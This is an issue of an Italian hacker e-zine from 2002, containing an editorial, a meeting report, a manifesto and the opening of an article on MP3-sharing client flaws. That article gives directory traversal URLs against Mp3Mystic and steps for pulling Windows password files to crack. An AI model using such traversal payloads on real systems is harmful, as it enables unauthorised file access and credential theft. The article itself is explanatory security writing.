,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ::::::::::::, .:::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::,. i@@@@@@#. .:::::, .,:::::::::, ,rs: :: ,,,,,,,,;,: ::::::, r@@@@@@@@@@@@@; ,:: rM@@Hs. .:::::::. @@@i,:@@ ;@@@@@@@s.,: :::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .:::::. s@@H @@# ;Mr ,:: :::: i@@@5 ,,, M@@@@@@r :,:@@@@@@@@@@@; ,:::, ;@@@ #@@S GH;AAA@@2 ,:: :::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ :::, @@@, s@@A :@@@,,::: ::: .@@@@@ ,:::::. S@@@@@S :::, 5@@@@@@@@@: ,::, H@@ r@@9 , . ;@@@, ,:: ::: i@@@@@h .::::. r@@@@r .::: @@@@@@@@@@@ ,:: @@:,@@@. @@i;r@@@A .::: ::: i@@@@@@B @@@@ .::, G@@@@@@@@@@@; ., ;r: . ,rSr, ,:::: ::: @@@@@@@@@Gr,2@@@s ,::. r@@@@@@@@@@@@@@# .,...,,:::,,....,,::::::: :::, .@@@@@@@@@@@@@, ,::, .@@@@@@@@@@@@@@@@@@@H ,:::::::::::::::::::::: ::::, X@@@@@@r .::::: @@@@@@@@@@@@@@@@@@@@@@@5 ,::::::::::::::::::::: ::::::. .,::::, H@@@@@@@@@@@@@@@@@@@@@@@@# .:::::::::::::::::::: ::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; .:::::::::::::::::: :::::. ;@@@@@@@@@@@i .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@. .::::::::::::::::: :::, @@@r .M@@@@@@@9 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@s .:::::::::::::::: ::. @@@H .,. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r ,::::::::::::::: :, ,@@@@ :::::. @@@@@@S , 9@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ::::::::::::::: : @@@@2 ,::::::. ;@@@@@r :, 2@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,:::::::::::::: : 5@@@@H ::::::: .@@@@@ .:::, @@@@@@@@@@@@@@@@@@@@@@@@@H.3,,:::::::::::::: : H@@@@@r ,,,, 5@@@A ::::: @@@@@@@@@@@@@@@@@@@@@@@@@@2 ,:::::::::::::: : i@@@@@@@, @@@A ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@, ::::::::::::::: :. A@@@@@@@@@@@@@@5 ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 ::::::::::::::: :: 2@@@@@@@@@X ,:::::, M@@;s@@,@@@@@@@@@@@@@@@@@@@; ::::::::::::::: :::, M@: .,,.A#AB@@@@; &@@@@@@@@@@@@@@@@@@ ::::::::::::::: :::, ;G@@@@@@@@@@@@@s. :r#@B25@@SH@@@@ 9@@@@@@@@@@@@@@@. .:::::::::::::: :::,;@@@@@@@@@@@@@@@@@@@@#; ,A@@rs@@@@@@@@@@@@@@. .::::::::::::: :::, r@@@@@@@@@@@@@@@@A, .@@@@@@@@@@@@@@@B :::::,. ,:: ::::::::::,. ,B@@@@@@@@@@@@@@@@#r ;G@@@@@@@@@@@: . A@h,:: :::::::::::::::,. :G@@@@@@@@@@@@@@@@@9: i@@@@@#. r@@@@@r ,:: ::::::::::::::::::::,. rM@@@@@@@@@@@@@@@@@@9s 2@@@@@@M, ,::: :::::::::::::::::::::::::,, .i#@@@@@@@@@@@@@@@@@@@@@@@S. ,,:::::: :::::::::::::::::::::::::::::::,,. .,::::::::::: ::::::::::::::::::::::::::::::::::::::,,,...............,,:::::::::::::::::: +--------------------------------------------------------------------------+ | ONDAQUADRA #05 - 14/01/2002 | +--------------------------------------------------------------------------+ | Tutto nel ciberspazio | | E' scandito dalla squarewave | | Dei micro-processori | | Il clock dei micro | | E' come | | Un battito cardiaco | | Elettronico... | +--------------------------------------------------------------------------+ | http://ondaquadra.cjb.net | | mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | LEGAL DISCLAIMER | +--------------------------------------------------------------------------+ | | | Nessuna persona dello staff di OndaQuadra si assume responsibilita' | | per l'uso improprio dell'utilizzo dei testi e dei programmi presenti | | nella e-zine, ne' per danni a terzi derivanti da esso. | | OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni | | effettuate con la legge 23 dicembre 1993, n.547 ed in particolare | | agli artt. 615-quater- e 615-quinques-. | | Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come | | avvengono le tecniche di intrusione al fine di far comprendere come | | sia possibile difendersi da esse, rendere piu' sicura la propria box e | | in generale approfondire le proprie conoscenze in campo informatico. | | I programmi allegati sono semplici esempi di programmazione che hanno | | il solo scopo di permettere una migliore comprensione di quanto | | discusso e spiegato nei testi. | | Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, | | n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex | | art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge | | 8 febbraio 1948, n.47. | | | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | COSTITUZIONE DELLA REPUBBLICA ITALIANA | +--------------------------------------------------------------------------+ | Diritti e doveri dei cittadini: Rapporti civili | | | | Articolo 21 | | Tutti hanno diritto di manifestare liberamente il proprio pensiero | | con la parola, lo scritto e ogni altro mezzo di diffusione. [...] | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | INDICE | +--------------------------------------------------------------------------+ | [L0GiN] | | 0x01 iNTR0 AL NUMER0 05 ................................... [oq ~ staff] | | 0x02 CR0NACHE DAL BULK .................................... [oq ~ staff] | | 0x03 RETR: LA P0STA Di 0Q ................................. [oq ~ staff] | | 0x04 iPSE DiXiT ........................................... [oq ~ staff] | | 0x05 MiSSi0N .............................................. [oq ~ staff] | +--------------------------------------------------------------------------+ | [HACKiNG] | | 0x06 MP3 SHARiNG CLiENT VULNERABiLiTY ........................... [E4zy] | | 0x07 SiCUREZZA FiSiCA DEi SiSTEMi ............................... [E4zy] | | 0x08 PR0TEGGiAM0 iL N0STR0 SERVER ....................... [-=Quequero=-] | +--------------------------------------------------------------------------+ | [NETW0RKiNG] | | 0x09 iNTR0DUZi0NE ALL'iP MASQUERADiNG .................... [Master Kain] | | 0x0A iP TABLES .................................................. [E4zy] | | 0x0B R0UTiNG E ViAGGi0 Di PACCHETTi V 2.0 .................... [XanTHic] | +--------------------------------------------------------------------------+ | [LiNUX] | | 0x0C iN SHELL WE TRUST - PARTE 1 .................... [MigthyInquisitor] | | 0x0D VPN - ViRTUAL PRiVATE NETW0RK ............................. [goony] | | 0x0E LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD ......... [xyzzy] | +--------------------------------------------------------------------------+ | [C0DiNG] | | 0x0F C0RS0 Di C [PARTE QUARTA] ................................ [JEYoNE] | | 0x10 0S FR0M ZER0 CHAPTER 2 ...................... [Alexander The Great] | | 0x11 WiNS0CK e ViSUAL BASiC .............................. [Screener_it] | +--------------------------------------------------------------------------+ | [MiSC] | | 0x12 GUiDA ALLA CRiTT0GRAFiA ................................ [SonGoten] | | 0x13 CUTH .................................................... [warfare] | | 0x14 Ti FACCi0 A FETTE L'ACCADi ................................ [bondo] | | 0x15 i SiSTEMi 0PERATiVi iN P0CHi SEMPLiCi PASSAGGi .......... [BaBBeuZ] | | 0x16 CRACKiNG iN WiNDOWS (TRADUZi0NE) ...................... [True-love] | +--------------------------------------------------------------------------+ | [L0 SCiAMAN0] | | 0x17 APELL0 ALL'0NU ............................................ [Erman] | | 0x18 CAiN0 ViV0 0 M0RT0 ................................ [Bruno Franchi] | | 0x19 UN GR0SS0 DUBBi0 ..................................... [Il Magnano] | | 0x1A iNF0RMAZi0NE E C0N0SCENZA PER iL NU0V0 MiLLENNi0 . [Virgilio Violo] | +--------------------------------------------------------------------------+ | [L'APPRENDiSTA STREG0NE] | | 0x1B GUiDA SUL MiRC SCRiPTiNG [PARTE TERZA] .......... [[]_CyBeRPuNK_[]] | | 0x1C GAB0LE iN iRC ..................................... [Xp Terminator] | | 0x1D iNTERFACCiA GRAFiCA PER iL MEM0SERV ............... [Master^Shadow] | | 0x1E i META TAGS .................................... [MightyInquisitor] | | 0x1F SED ...................................................... [Domin3] | | 0x20 0PERAZi0Ni iN C0NS0LE S0TT0 WiN32 ...................... [_d31m0s_] | | 0x21 KRY0 ..................................................... [lesion] | +--------------------------------------------------------------------------+ | [SHUTD0WN] | | 0x22 DiVAGAZi0Ni N0TTURNE .................................. [Malkavian] | +--------------------------------------------------------------------------+ | [C0NTATTi] | | 0x23 D0VE TR0VARCi ........................................ [oq ~ staff] | +--------------------------------------------------------------------------+ | [ALLEGATi] | | 0x01 WiNS0CK_e_VB.ZiP .................................... [Screener_it] | | 0x02 SED.L0GiC.TXT ............................................ [Domin3] | | 0x03 MSGUi.MRC ......................................... [Master^Shadow] | | 0x04 CUTH.C .................................................. [warfare] | | 0x05 iSWT1.TAR.GZ ................................... [MigthyInquisitor] | | 0x06 C0NS0LEN.ASM ........................................... [_d31m0s_] | | 0x07 C0NS0LET.ASM ........................................... [_d31m0s_] | | 0x08 iPTABLES.TXT ............................................... [E4zy] | | 0x09 BUGTRAQ-P0ST.TXT ........................................... [E4zy] | | 0x0A KRY0.TGZ ................................................. [lesion] | | 0x0B AR0M.EXE .................................... [Alexander The Great] | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 | | iNTR0 AL NUMER0 05 [oq ~ staff] 0x01/0x23 | +--------------------------------------------------------------------------+ | | | Cari lettori, | | | | Eccoci giunti al sesto numero di questa e-zine, proprio cosi', siamo al | | numero #05! | | Siamo ai primi giorni dell'anno 2002 e per cominciare con il piede | | giusto vi abbiamo sfornato questo nuovo numero. | | Questo editoriale e' quello che fra tutti porta piu' innovazioni, | | cambiamenti e perfezionamenti nell'evoluzione di questo progetto che ad | | ogni numero aumenta la sua popolarita'. | | | | Tanto per cominciare e' bene ribadire la filosofia che sta alla base del | | progetto stesso: | | | | "OndaQuadra e' un progetto fondato da JEYoNE e da Tritemius. E' formato | | e portato avanti, oltre che dai membri che compongono lo staff, dagli | | scrittori e da coloro che ci sostengono moralmente, ovvero VOI!" | | | | Ci teniamo a ribadire questo perche' e' successo che alcuni ci hanno | | posto domande del tipo: | | "OQ e' una crew ristretta?", "OQ da quanti membri e' formata?", "come | | faccio per entrare?" e via scorrendo... | | | | Detto questo cominciamo con le novita', che non sono poche! | | | | Come alcuni di voi gia' sapranno, e' in fase di sviluppo il portale di | | OndaQuadra, eh si avete letto bene, non piu' una semplice pagina in | | html, ma un vero e proprio angolo digitale dedicato esclusivamente | | all'e-zine e usufruibile e visitabile da tutti! | | E' ancora in fase di perfezionamento quindi per l'uscita di questo | | numero non sara' pronto. | | Lo stiamo realizzando con le nuove tecnologie messeci a disposizione da | | gente che ne sa sicuramente piu' di noi, ovvero con il PHP e con il | | database MySQL...insomma un buon presagio per un portale dinamico, che | | ne pensate? | | Tutto questo facilitera' notevolmente la lettura degli articoli on-line, | | l'archiviazione degli stessi, il post di messaggi nel forum, la gestione | | della mailing list, i contatti tra i lettori, gli scrittori e noi dello | | staff e cosi' avanti... | | | | Per quanto riguarda la versione standard dell'e-zine, quella nel formato | | txt, abbiamo deciso che oltre a comprimerla nel solito formato oqXX.zip | | (ormai decomprimibile anche con il comando 'unzip oqXX.zip' dalla shell | | di sistemi Unix like), la comprimeremo anche come oqXX.tar.gz, formato | | sicuramente piu' simpatico ai Linuxiani. | | Oltretutto ci saranno diversi archivi da poter scaricare, il primo e | | completo oqXX.estensione che conterra' la rivista in formato txt e gli | | allegati, il secondo oqXXtxt.estensione che conterra' soltanto la | | rivista in formato txt e il terzo, oqXXatt.estensione che conterra' solo | | gli allegati. | | Questo perche' siamo venuti a conoscenza che alcuni lettori leggono OQ | | senza tener conto degli allegati, e quindi perche' appesantire | | l'archivio quando si puo' scaricare solo il testo? | | | | Un'altra novita' di molto rilievo e' sicuramente il fatto che abbiamo | | deciso di rendere la rivista completamente aperiodica, ovvero senza una | | data di uscita piu' o meno stabile come e' stato finora. | | Questa scelta e' dovuta principalmente al fatto che marcare l'uscita | | ogni due (o tre che siano) mesi in anticipo e' un fattore che tende a | | mettere fretta agli autori nella stesura dei propri articoli, ma | | soprattutto che da un gran da fare a noi dello staff e visto che | | preferiamo (almeno cerchiamo di preferire) la qualita' alla rigidita' | | siamo giunti a questa decisione. | | Spero la condividiate, altrimenti mandateci una mail e fateci sapere | | come la pensate a riguardo! | | | | Altra innovazione che molti di voi avranno notato e' l'impaginazione | | dell'e-zine, ebbene si, finalmente ci siamo dati un tono e siamo giunti | | a un buon livello di impaginazione; non piu' come nei primissimi numeri | | dove un testo poteva avere fino a 150 (o addirittura di piu') caratteri | | per riga. | | Nello scorso numero (#04) l'e-zine era impaginata a 80 caratteri, mentre | | da questo numero e' impaginata a 76 caratteri, pipe '|' e spazi ' ' | | compresi. Questa decisione l'abbiamo presa per rendere piu' semplice la | | lettura on-line da parte di chi ha un monitor con risoluzione inferiore | | alla 1024x768, vale a dire 800x600 o addirittura 640x480 pixel in modo | | da rendere OndaQuadra un progetto aperto, ancora una volta, a tutti, | | bello, con uno schema fisso, ma allo stesso tempo con un look flessibile | | a ogni esigenza dei lettori! | | Per tutti i lettori che utilizzano un palmare per leggerci (spiacente | | +MaLaTTiA :P) non c'e' niente da fare, non credo che riusciremo a fare | | anche la versione a 33 caratteri. | | | | Ora, ai lettori piu' attenti, potrebbe venire un dubbio: | | "Ma se l'e-zine e' cosi' ben impaginata, i sorgenti che riportate | | all'interno degli articoli piu' tecnici, me li devo ricostruire a mano | | togliendoci tutti i pipe, gli spazi e riformattando le righe che | | superano i 72 caratteri di testo effettivo per poterli testare?" | | Semplice, a questo problema abbiamo ovviato, dove possibile, aggiungendo | | al file allegati.estensione i sorgenti in questione pronti per essere | | testati o quanto meno studiati! | | | | L'ultimo meeting di OndaQuadra si e' svolto nelle giornate di sabato 15 | | e domenica 16 dicembre 2001 al BULK, ovvero lo stabilimento dove ha sede | | il LOA, cioe' l'HackLab di Milano. | | Cogliamo l'occasione per ringraziare infinitamente i LOAniani per la | | fredda accoglienza (a causa del clima, cosa pensavate... ;)) e per | | l'enorme ospitalita' che ci hanno dato. | | Un ringraziamento particolare a c1cc1o e a bomboclat per essersi | | impegnati a far si che questo incontro fra noi di OQ e loro, LOAniani, | | abbia preso vita. | | Un altro ringraziamento a tutti coloro che hanno preso la parola e che | | hanno partecipato al seminario sul kernel tenutosi, sempre presso il | | BULK, nella giornata di domenica 16. Siete forti ragazzi, ottimi i talk | | e le risposte a tutte le domande, continuate cosi'!!! | | | | Purtroppo e' giunta l'ora di parlare di una notizia al quanto sgradevole | | a tutti; ovvero del rippaggio di alcuni articoli comparsi sullo scorso | | numero...si avete capito bene, proprio cosi'. Ci e' giunta voce, da piu' | | persone, che alcuni testi sono stati rippati e spacciati per propri da | | coloro i quali li hanno firmati e inviati a noi. Abbiamo provveduto a | | controllare la fonte dell'articolo e l'articolo rippato apparso | | sull'e-zine e le voci, almeno questa volta, erano fondate! | | Ora, noi della redazione non intendiamo entrare in ambito di un discorso | | etico, anche perche' richiederebbe piu' tempo e non e' questa la sede, | | ma ci sembra del tutto scorretto quest'atteggiamento a dir poco | | anti-etico e ben poco morale quindi da ora in poi tutti gli articoli che | | ci manderete subiranno un controllo piu' approfondito sull'originalita' | | e se riterremo che siano, anche in parte, rippati non li pubblicheremo. | | Questa e' una decisione inapellabile ed e' stata presa per la | | salvaguardia dell'originalita' e del buon nome dell'e-zine, del suo | | staff e dei suoi scrittori autentici. | | Coloro i quali ci hanno mandato e coloro i quali ci manderanno articoli, | | anche in parte, rippati (senza i riferimenti dell'originalita' del pezzo | | di testo) non vedranno piu' apparire nessun "loro" articolo su questa | | e-zine! Speriamo di essere stati chiari, certo pero' e' da tener | | presente, che dato che negli ultimi tre anni in Italia sono nate | | svariate e-zine e molti nuovi scrittori, il controllo della qualita' | | sugli articoli non e' certo una cosa semplice da fare per noi dello | | staff quindi se voi lettori vi accorgete di eventuali rippaggi nei testi | | pubblicati sui prossimi numeri dell'e-zine, siete pregati di rendercelo | | noto via mail o in irc, ve ne saremo davvero grati. | | | | Bene, anche questo editoriale e' concluso, non ci resta altro che | | augurare una buona lettura a tutti, approfittando anche per augurare un | | felice e sereno 2002! | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 | | CR0NACHE DAL BULK [oq ~ staff] 0x02/0x23 | +--------------------------------------------------------------------------+ | | | Il meeting di OndaQuadra si e' tenuto a Milano nelle giornate di sabato | | 15 e domenica 16 dicembre e non ha avuto un afflusso di gente come si | | era pensato all'inizio. | | Hanno preso parte a questa iniziativa JEYoNE, Sensos, E4zy, xian, TheMR, | | embyte, io (MightyInquisitor), goony, bitflesh, _FlatMary_ e xyzzy piu' | | tutti i LOAniani, ovvero i facenti parte del LOA HackLab di Milano che | | ha sede in Via Nicolini presso lo stabilimento BULK. | | | | SABAT0 15 DiCEMBRE | | Alle 11.00 circa ci siamo incontrati io (MightyInquisitor), E4zy, JEYoNE | | e TheMR nel centro di Milano, siamo passati a casa di uno di noi a | | recuperare del "materiale" (!!!) e ci siamo recati al BULK dove ci siamo | | incontrati con goony. Erano gia' le 13.00 e il nostro stomaco | | brontolava, quindi ci siamo messi alla ricerca del McDonalds piu' vicino | | e quando ci siamo arrivati, abbiamo finalmente riempito lo stomaco! | | Dopo aver "pranzato" ci siamo rediretti al BULK e nel percorso abbiamo | | incontrato un losco personaggio di nome bitflesh che si e' unito a noi | | in questa fredda camminata (quasi) invernale. | | Arrivati al BULK si e' unito a noi xyzzy e finalmente siamo entrati. | | Wow, che bel posto, davvero bello, un po' freddino, ma bello. | | Dopo un po' sono arrivati xian, Sensos, embyte e _FlatMary_. | | Fino a sera siamo rimasti la' al cazzeggio con i LOAniani. | | Bene, arrivata ora di cena (finalmente si mangia di nuovo...) siamo | | andati per una via mezza buia (sembrava di essere a China Town!) in un | | ristorante (se cosi' si puo' chiamare) "poco accogliente", quindi | | qual'e' stata la nostra azione subito dopo che ci siamo seduti? | | Semplice, ci siamo alzati e ce ne siamo andati. | | Alla ricerca di un posto caldo dove sedersi e mangiare, siamo capitati a | | due passi dal ristorante in un bel ristorantino cinese molto piu' | | accogliente. | | Ecco, qui e' cominciata la lunghissima disquisizione riguardo il futuro | | di OndaQuadra. Sono emersi un sacco di progetti nuovi quali il futuro | | portale dell'e-zine e la nuova impaginazione dell'e-zine stessa. | | In un batter d'occhio si era fatto tardi, era mezzanotte quindi ci siamo | | auto-cacciati dal ristorante alla volta della casa di uno di noi: | | finalmente un posto davvero caldo, caminetto a legna rulez ;) !!! | | Qui siamo rimasti (tanto per cambiare...) a parlare di OndaQuadra fino | | alle 3.20, ora letale per me, ho cominciato a delirare, non ce la facevo | | piu' quindi, prima che mi prendessero a calci, me la sono squagliata | | sotto le coperte. | | Gli altri acari se ne sono rimasti svegli ancora un po', poi tutti a | | letto, chi in albergo e chi in questa casa calda. | | | | DOMENiCA 16 DiCEMBRE | | La mattina seguente il buon vecchio JEYoNE mi ha svegliato alle 11.00, | | che bella dormita, ero davvero stanco, "ero ACCES0 da 25 ore..."!!! | | Ci si lava, si fa colazione e sgattaioliamo in auto alla volta | | dell'albergo dove alloggiavano il signor xian e il signor E4zy. | | E' gia' ora di pranzo e cosa si fa? | | Si cerca un posto dove mangiare nei pressi del BULK. Stavolta capitiamo | | in una pizzeria...mmm che buona la pizza, e di nuovo giu' a parlare di | | OndaQuadra. Si fanno le 14, andiamo al BULK e ci incontriamo con | | bitflesh che era gia' la che ci aspettava smanettando su una "bella" Red | | Hat 7.1! | | Cazzeggiamo una mezz'oretta e comincia il seminario sul kernel | | nell'altra sala del LOA: la HACKLEASS! Bel nome vero?!?!?! | | Arrivano poi anche TheMR e embyte e continuiamo tutti, chi piu', chi | | meno, a seguire i vari talk. | | Ottimo lavoro, davvero un bel seminario, ci voleva. | | Sono ormai le 17. E' ora di lasciarci. Salutiamo e ringraziamo come si | | deve tutti i LOAniani e ce ne andiamo. | | Purtroppo ci si saluta anche tra di noi con la speranza di rivederci il | | prima possibile... | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 | | RETR: LA P0STA Di 0Q [oq ~ staff] 0x03/0x23 | +--------------------------------------------------------------------------+ | | | Purtroppo per un problema tecnico (ci si e' fottuto un disco!) su | | questo numero non ci saranno le risposte alle mail dei lettori. | | Ci dispiace perche' c'erano alcune domande interessanti, anzi proprio | | per questo la redazione invita tutti i lettori che hanno inviato una | | mail a mail@ondaquadra.cjb.net a riscriverci. | | La prossima volta ci impegneremo ad effettuare un backup della mail | | ricevute! :) | | Un saluto a tutti, il vostro postino. | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 | | iPSE DiXiT [oq ~ staff] 0x04/0x23 | +--------------------------------------------------------------------------+ | | | "E' piu' facile trovare un amministratore di sistema cretino che | | un hacker intelligente" | | Andrea Aparo | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 | | MiSSi0N [oq ~ staff] 0x05/0x23 | +--------------------------------------------------------------------------+ | | | OndaQuadra, l'inaudito battito elettronico di cui avvertiamo | | l'esistenza quando il bagliore del monitor ci illumina, e | | l'informazione trasportata dalla luce si proietta giu' nella | | nostra coscienza. | | | | OndaQuadra vuole trovare la Bellezza nei cicli di clock, la | | Poesia tra i datagrammi, e come l'albatro di Baudelaire e' | | incurante degli scherni. | | | | OndaQuadra e' la volonta' di fuggire dall'alienazione industriale | | e dallo sradicamento metropolitano, dalla solitudine esistenziale | | dell'epoca che conosce il prezzo di tutto e il valore di nulla, | | l'epoca in cui abbiamo tutto ma abbiamo perso noi stessi. | | | | Un tuffo nella realta' digitale come una Catarsi, dalla quale | | riemergere trasfigurati, pronti a intrecciare nuovi rapporti umani | | piu' veri della realta' mediocre e banale che il destino ci riserva. | | | | L'OndaQuadra e' quindi un sogno da affrontare con umilta' e | | meraviglia, rinunciando ai pregiudizi e ai luoghi comuni, camminando | | verso il sole, facendo cadere le ombre dell'insulsa polemica e | | dell'invidia alle nostre spalle. | | | | OndaQuadra, l'urlo del nostro cuore di silicio! Un urlo assordante, | | un monito tremendo ai nemici della liberta', del sopruso, della | | prepotenza, nel ciberspazio e nella vita reale. | | | | Straordinari sono gli strumenti che la tecnologia ci mette a | | disposizione. | | Possibilita' infinite di comunicazione. Facciamo che questi | | strumenti servano per creare una nuova visione del mondo. Utopia e | | realismo, sogno e concretezza. Iniziamo Noi, qui e ora, ad ascoltare, | | e ad aiutare in modo disinteressato chi non conosce questo mondo, | | a non farlo sentire un idiota, un emarginato. | | | | Che miseria, la divisione tra clan, tra fazioni. Misero chi | | cerca un nuovo potere nel ciberspazio! Nuovi sacerdoti, con | | paraocchi infiniti e cravatte mentali, tornate nei vostri templi, | | nelle accademie. Nuovi burocrati, conquistadores, qui non | | siete graditi. | | Cosi' come non sono graditi i furfanti, i teppisti, gli arrivisti, i | | fanatici di tutte le risme, gli autoritari, gli amanti delle grandi | | firme e delle cose per gente di un certo livello. | | | | OndaQuadra aspetta chi vuole lavorare, creare, giocare con entusiasmo, | | chi vede nella tecnologia la possibilita' di un uso non banale; chi | | non vuole servire le macchine, ma vuole servirsene per rendere meno | | idiota la propria permanenza sul globo terracqueo; chi comprende | | che l'infosfera ha un'importanza chiave nel nostro futuro, dal punto di | | vista sociale e culturale. | | | | Questa e' OndaQuadra. E molto altro: cosa,devi dirlo Tu lettore, con | | le tue idee, con la tua voglia di partecipare, di metterti in gioco, | | di rischiare. Con la tua volonta' di combattere quei polli che si | | credono aquile che fanno di tutto per controllarti, per esercitare il | | loro misero potere, per distruggere i tuoi sogni. | | | | Noi apparteniamo alla stirpe dei senza re: scivoliamo nella Rete come | | ombre, traiamo ispirazione dal lampeggio del cursore, conosciamo il | | sistema nervoso della modernita', ascoltiamo l'urlo assordante e | | silenzioso del cuore di silicio, la fuori e dentro di noi: OndaQuadra! | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #05 - 14/01/2002 | | MP3 SHARiNG CLiENT VULNERABiLiTY [E4zy] 0x06/0x23 | +--------------------------------------------------------------------------+ | | | Indice: | | | | 1. Intro | | | | 2. Mp3Mystic | | 2.1 Double Dot Bug | | 2.2 Exploit | | 2.3 Log file | | 2.4 Fix | | | | 3. Gnutella | | 3.1 HTML Tags Vulnerability | | 3.2 Exploit | | 3.3 Fix | | | | 4. Audiogalaxy | | 4.1 Clear Text Password | | 4.2 Exploit | | 4.3 Fix | | | | 5. Napster | | 5.1 String Format Attack | | 5.2 Bugtraq Post | | 5.3 Fix | | | | 6. Morpheus | | 6.1 Denial of Service | | 6.2 Client Information | | 6.3 Fix | | | | 7. Risorse | | | | | | 1. Intro | | Dal 27 luglio 2000, data di chiusura di Napster, nulla e' piu' stato | | uguale a prima, la rete e' stata invasa da un numero non ben precisato | | di software cloni del programma Napster che da qualche tempo ha smesso | | di cantare :( | | Con l'esponenziale aumento di questi tool che permettono la condivisione | | di brani musicali in formato mp3 sono cresciute di pari passo le | | vulnerabilita' che affliggono molti di questi programmi. | | Addentriamoci a questo punto nell'analisi dei potenziali rischi | | associati ad alcuni di questi programmi. | | Le vulnerabilita' qui di seguito descritte fanno riferimento ai post | | originali comparsi su Bagtraq qualche tempo fa, lo scopo del presente | | articolo consiste nella descrizione delle tecniche che permettono di | | sfruttare ed eliminare i problemi derivanti da un uso di un software non | | sicuro. | | | | 2. Mp3Mystic | | Easy to hack, flexible, free Personal Streaming music server :D Si | | tratta di un vero e proprio personal web server per Windows9x che | | permette di fornire un servizio di condivisione e streaming di file mp3 | | verso la rete Internet. | | | | 2.1 Double Dot Bug | | Un utente remoto e' in grado di risalire la cartella condivisa e | | sfogliare l'intero HD al file di prelevare dati riservati dell'utente. | | | | 2.2 Exploit | | E' possibile risalire le directory remote riferendosi alla directory | | genitore attraverso l'url (../), questo ci consente l'accesso in lettura | | sull'intero HD remoto, esempio: | | | | http://127.0.0.1/../file | | inserendo tale url nel vostro browser vi connetterete all'utente con IP | | address 127.0.0.1, che in questo caso rappresenta l'interfaccia di | | loopback del sistema locale, e sarete in grado di scaricare il file di | | nome "file" che si trova nella directory genitore. | | Una puntualizzazione dovuta, il numero di ../ necessari all'interno | | dell'url dipende dalla directory condivisa dall'utente remoto, ogni ../ | | corrispondera' a risalire di una directory genitore l'albero del | | filesystem remoto. | | I piu' attenti si saranno accorti che affinche' tale operazione abbia | | successo e' necessario essere a conoscenza del path(1) relativo del file | | che vogliamo scaricare, in quanto il programma ci permette di | | visualizzare l'albero delle directory sul sistema remoto ma non i file | | che non rispondano alle specifiche del formato mp3. | | | | (1)path: percorso di un file o di una directory, esso puo' essere | | assoluto (es. c:\windows) oppure relativo (es. ..\windows) | | | | Ecco l'elenco dei file che ritengo a rischio in caso di intrusione: | | | | System.ini: | | Contiene dati sensibili riguardo alla configurazione del sistema tra cui | | il percorso assoluto dei file delle password di Windows che possono in | | tal modo essere prelevati. | | | | | | ----------- System.ini ----------- | | | | [boot] | | system.drv=system.drv | | drivers=mmsystem.dll power.drv | | shell=Explorer.exe | | user.exe=user.exe | | gdi.exe=gdi.exe | | sound.drv=mmsound.drv | | dibeng.drv=dibeng.dll | | comm.drv=comm.drv | | mouse.drv=lmouse.drv | | keyboard.drv=keyboard.drv | | | | .... | | | | [Password Lists] | | USER=C:\WINDOWS\USER.PWL | | | | ----------- System.ini ----------- | | | | Pwl Files: | | Sono i file delle password di Windows e possono contenere la password | | utilizzata dall'utente in formato criptato (a volte la password e' | | rappresentata da stringa vuota), possono essere facilmente crackati con | | un brute force attack grazie alla debolezza dell'algoritmo di | | criptazione. | | | | User.dat: | | Rappresenta la sede del registro di configurazione di Windows e contiene | | molte delle password utilizzate dal sistema tra cui quelle di | | connessione a internet, l'applicazione regedit ne consente la | | navigazione attraverso il complesso albero di directory. | | | | Mp3server.ini: | | File generato da Mp3Mystic stesso, contiene la password di | | amministrazione del programma in testo in chiaro :) | | | | | | ----------- Mp3server.ini ----------- | | | | [admin] | | RegCode= | | user=username | | pass=password | | RequirePW=0 | | AccessUser= | | AccessPW= | | | | .... | | | | ----------- Mp3server.ini ----------- | | | | Un possibile scenario di attacco puo' essere rappresentato da quanto | | segue: | | | | 1) http://127.0.0.1/../windows/system.ini | | l'attacker scarica il system.ini dal sistema remoto utilizzando il path | | malizioso, da tale file e' in grado di risalire al path dei file pwl | | presenti nel sistema. | | | | 2) http://127.0.0.1/../windows/user.pwl | | l'attacker 